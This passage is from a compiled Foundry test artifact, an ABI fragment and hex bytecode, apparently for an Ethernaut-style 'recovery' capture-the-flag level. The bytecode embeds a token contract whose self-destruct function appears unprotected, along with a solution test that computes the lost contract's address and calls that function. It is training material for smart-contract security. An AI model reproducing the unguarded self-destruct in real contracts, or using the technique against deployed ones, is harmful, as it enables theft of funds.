false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50616a53806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001bc1565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001c04565b620001b3620001fa36600462001cf0565b62000a32565b6200020a62000bfd565b604051620001c7919062001dc3565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001e86565b620001da6200025736600462001f53565b62000eff565b6200019a6200108f565b620002716200126c565b604051620001c7919062001f6b565b620001b36200029136600462001fd1565b62001341565b6200023762001460565b620002b8620002b236600462001fef565b6200155a565b6040519015158152602001620001c7565b62000271620016ea565b6200019a620017bf565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001858565b620001da6200192c565b6200019a6200032f36600462001f53565b6200198c565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f815181106200036757620003676200202b565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200202b565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001341565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b74565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620009769190810190620020cc565b905080600182516200098991906200225c565b815181106200099c576200099c6200202b565b60200260200101515f0151600281518110620009bc57620009bc6200202b565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb919081019062002272565b90505f81848560405160200162000ad4929190620022c4565b60408051601f198184030181529082905262000af4929160200162002372565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b58908590600401620023a4565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c919081019062002272565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001a0090919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c9290620023b8565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc090620023b8565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001c52565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb9190620023f2565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b50505050808383815181106200106657620010666200202b565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040517f45b560780000000000000000000000000000000000000000000000000000000081526001600160a01b03909116600482018190526024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906345b56078906044015f604051808303815f87803b15801562001106575f80fd5b505af115801562001119573d5f803e3d5ffd5b5050602180546040517fd60000000000000000000000000000000000000000000000000000000000000060208201527f94000000000000000000000000000000000000000000000000000000000000009281019290925260601b6bffffffffffffffffffffffff191660228201527f010000000000000000000000000000000000000000000000000000000000000060368201525f9250603701905060408051808303601f190181529082905280516020909101206023547ef55d9d0000000000000000000000000000000000000000000000000000000083526001600160a01b03908116600484015290925082169062f55d9d906024015f604051808303815f87803b15801562001229575f80fd5b505af11580156200123c573d5f803e3d5ffd5b50506020546021546200126993506200126392506001600160a01b0391821691166200155a565b62001aa2565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620012af90620023b8565b80601f0160208091040260200160405190810160405280929190818152602001828054620012dd90620023b8565b80156200132c5780601f1062001302576101008083540402835291602001916200132c565b820191905f5260205f20905b8154815290600101906020018083116200130e57829003601f168201915b5050505050815260200190600101906200128f565b5f80604051620013519062001b82565b604051809103905ff0801580156200136b573d5f803e3d5ffd5b5090505f6040516200137d9062001b90565b604051809103905ff08015801562001397573d5f803e3d5ffd5b508483604051620013a89062001b9e565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013e2573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001441575f80fd5b505af115801562001454573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200154157602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014ed5790505b5050505050815250508152602001906001019062001483565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620015b6575f80fd5b505af1158015620015c9573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001627575f80fd5b505af11580156200163a573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200169e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016c79190810190620020cc565b9050600181511115620016df576001915050620016e4565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200172d90620023b8565b80601f01602080910402602001604051908101604052809291908181526020018280546200175b90620023b8565b8015620017aa5780601f106200178057610100808354040283529160200191620017aa565b820191905f5260205f20905b8154815290600101906020018083116200178c57829003601f168201915b5050505050815260200190600101906200170d565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001816575f80fd5b505af115801562001829573d5f803e3d5ffd5b50506020546021546200185693506200185092506001600160a01b0391821691166200155a565b62001b21565b565b6008545f9060ff161562001870575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018ff573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001925919062002410565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f62001999824362002428565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a5790869086906004016200243e565b5f60405180830381865afa15801562001a72573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a9b91908101906200246f565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001b07575f80fd5b505afa15801562001b1a573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001af0565b610e6f80620024a683390190565b610ae5806200331583390190565b611e7a8062003dfa83390190565b610daa8062005c7483390190565b6001600160a01b038116811462001269575f80fd5b5f805f6060848603121562001bd4575f80fd5b833562001be18162001bac565b9250602084013562001bf38162001bac565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c465783516001600160a01b03168352928401929184019160010162001c1f565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c8c5762001c8c62001c52565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001cbe5762001cbe62001c52565b604052919050565b5f67ffffffffffffffff82111562001ce25762001ce262001c52565b50601f01601f191660200190565b5f6020828403121562001d01575f80fd5b813567ffffffffffffffff81111562001d18575f80fd5b8201601f8101841362001d29575f80fd5b803562001d4062001d3a8262001cc6565b62001c92565b81815285602083850101111562001d55575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d8e57818101518382015260200162001d74565b50505f910152565b5f815180845262001daf81602086016020860162001d72565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e7757603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e6057605f1988850301835262001e4d84865162001d96565b948d01949350918c019160010162001e2e565b505050968901969350509087019060010162001de8565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f4557888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f2f5783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001eeb565b5096890196945050509086019060010162001ead565b509098975050505050505050565b5f6020828403121562001f64575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001fc457603f1988860301845262001fb185835162001d96565b9450928501929085019060010162001f92565b5092979650505050505050565b5f6020828403121562001fe2575f80fd5b813562001a9b8162001bac565b5f806040838503121562002001575f80fd5b82356200200e8162001bac565b91506020830135620020208162001bac565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200205b576200205b62001c52565b5060051b60200190565b5f6200207562001d3a8462001cc6565b905082815283838301111562002089575f80fd5b62001a9b83602083018462001d72565b5f82601f830112620020a9575f80fd5b62001a9b8383516020850162002065565b8051620020c78162001bac565b919050565b5f6020808385031215620020de575f80fd5b825167ffffffffffffffff80821115620020f6575f80fd5b818501915085601f8301126200210a575f80fd5b81516200211b62001d3a826200203f565b81815260059190911b830184019084810190888311156200213a575f80fd5b8585015b838110156200223b5780518581111562002156575f80fd5b86016060818c03601f190112156200216c575f80fd5b6200217662001c66565b888201518781111562002187575f80fd5b8201603f81018d1362002198575f80fd5b89810151620021ab62001d3a826200203f565b81815260059190911b8201604001908b8101908f831115620021cb575f80fd5b6040840193505b82841015620021ed5783518252928c0192908c0190620021d2565b845250505060408201518781111562002204575f80fd5b620022148d8b8386010162002099565b8a830152506200222760608301620020ba565b60408201528452509186019186016200213e565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016e457620016e462002248565b5f6020828403121562002283575f80fd5b815167ffffffffffffffff8111156200229a575f80fd5b8201601f81018413620022ab575f80fd5b620022bc8482516020840162002065565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022fd81600585016020880162001d72565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200233c81600a84016020880162001d72565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200238581846020880162001d72565b8351908301906200239b81836020880162001d72565b01949350505050565b602081525f62001a9b602083018462001d96565b600181811c90821680620023cd57607f821691505b602082108103620023ec57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002403575f80fd5b815162001a9b8162001bac565b5f6020828403121562002421575f80fd5b5051919050565b80820180821115620016e457620016e462002248565b604081525f62002452604083018562001d96565b828103602084015262002466818562001d96565b95945050505050565b5f6020828403121562002480575f80fd5b815167ffffffffffffffff81111562002497575f80fd5b620022bc848285016200209956fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610df58061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b14610108575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b50610070610127565b005b610085610080366004610508565b61013a565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100f86100d836600461052a565b506001600160a01b039081165f9081526001602052604090205416311590565b6040519015158152602001610099565b348015610113575f80fd5b50610070610122366004610508565b6103a2565b61012f610432565b6101385f61048b565b565b5f66038d7ea4c680003410156101975760405162461bcd60e51b815260206004820152601c60248201527f4d7573742073656e64206174206c6561737420302e303031204554480000000060448201526064015b60405180910390fd5b5f6040516101a4906104e7565b604051809103905ff0801580156101bd573d5f803e3d5ffd5b50604080517f3894e5160000000000000000000000000000000000000000000000000000000081526004810191909152600c60448201527f496e697469616c546f6b656e00000000000000000000000000000000000000006064820152620186a060248201529091506001600160a01b03821690633894e516906084015f604051808303815f87803b158015610251575f80fd5b505af1158015610263573d5f803e3d5ffd5b50506040517fd60000000000000000000000000000000000000000000000000000000000000060208201527f940000000000000000000000000000000000000000000000000000000000000060218201526bffffffffffffffffffffffff19606085901b1660228201527f0100000000000000000000000000000000000000000000000000000000000000603682015260370191506102ff9050565b60408051808303601f1901815282825280516020918201206001600160a01b038581165f9081526001909352928220805473ffffffffffffffffffffffffffffffffffffffff19169390911692831790559134908381818185875af1925050503d805f8114610389576040519150601f19603f3d011682016040523d82523d5f602084013e61038e565b606091505b505090508061039b575f80fd5b5092915050565b6103aa610432565b6001600160a01b0381166104265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161018e565b61042f8161048b565b50565b5f546001600160a01b031633146101385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018e565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61085e8061056283390190565b6001600160a01b038116811461042f575f80fd5b5f60208284031215610518575f80fd5b8135610523816104f4565b9392505050565b5f806040838503121561053b575f80fd5b8235610546816104f4565b91506020830135610556816104f4565b80915050925092905056fe608060405234801561000f575f80fd5b506108418061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633894e5161461002d575b5f80fd5b61004061003b3660046100b6565b610042565b005b8133826040516100519061007c565b61005d93929190610165565b604051809103905ff080158015610076573d5f803e3d5ffd5b50505050565b610637806101d583390190565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f80604083850312156100c7575f80fd5b823567ffffffffffffffff808211156100de575f80fd5b818501915085601f8301126100f1575f80fd5b81358181111561010357610103610089565b604051601f8201601f19908116603f0116810190838211818310171561012b5761012b610089565b81604052828152886020848701011115610143575f80fd5b826020860160208301375f602093820184015298969091013596505050505050565b606081525f84518060608401525f5b818110156101915760208188018101516080868401015201610174565b505f608082850101526080601f19601f83011684010191505073ffffffffffffffffffffffffffffffffffffffff8416602083015282604083015294935050505056fe608060405234801561000f575f80fd5b5060405161063738038061063783398101604081905261002e91610088565b5f61003984826101e7565b506001600160a01b039091165f90815260016020526040902055506102a6565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114610083575f80fd5b919050565b5f805f6060848603121561009a575f80fd5b83516001600160401b03808211156100b0575f80fd5b818601915086601f8301126100c3575f80fd5b8151818111156100d5576100d5610059565b604051601f8201601f19908116603f011681019083821181831017156100fd576100fd610059565b81604052828152602093508984848701011115610118575f80fd5b5f91505b82821015610139578482018401518183018501529083019061011c565b5f84848301015280975050505061015181870161006d565b93505050604084015190509250925092565b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b0381111561020057610200610059565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610384806102b35f395ff3fe608060405260043610610040575f3560e01c8062f55d9d1461006757806306fdde031461008857806327e235e3146100b2578063a9059cbb146100eb575f80fd5b366100635761005034600a61022a565b335f908152600160205260409020819055005b5f80fd5b348015610072575f80fd5b5061008661008136600461026b565b61010a565b005b348015610093575f80fd5b5061009c610123565b6040516100a9919061028d565b60405180910390f35b3480156100bd575f80fd5b506100dd6100cc36600461026b565b60016020525f908152604090205481565b6040519081526020016100a9565b3480156100f6575f80fd5b506100866101053660046102d9565b6101ae565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461012f90610303565b80601f016020809104026020016040519081016040528092919081815260200182805461015b90610303565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b505050505081565b335f908152600160205260409020548111156101c8575f80fd5b335f908152600160205260409020546101e290829061033b565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761024157610241610216565b92915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610268575f80fd5b50565b5f6020828403121561027b575f80fd5b813561028681610247565b9392505050565b5f602080835283518060208501525f5b818110156102b95785810183015185820160400152820161029d565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156102ea575f80fd5b82356102f581610247565b946020939093013593505050565b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102415761024161021656fea2646970667358221220e0bf938b4119a269e2f8df98188146ebd3abe7e9481be62f329c5c511f9c757d64736f6c63430008180033a264697066735822122047a2933d7f1f0a4703ae01a34a9f549f16b14b7790054fb759e7eb24c6473b6b64736f6c63430008180033a2646970667358221220529712e22382a69add02b955e907c7303f363c3bf3d853085240c3f505fd6d4e64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ff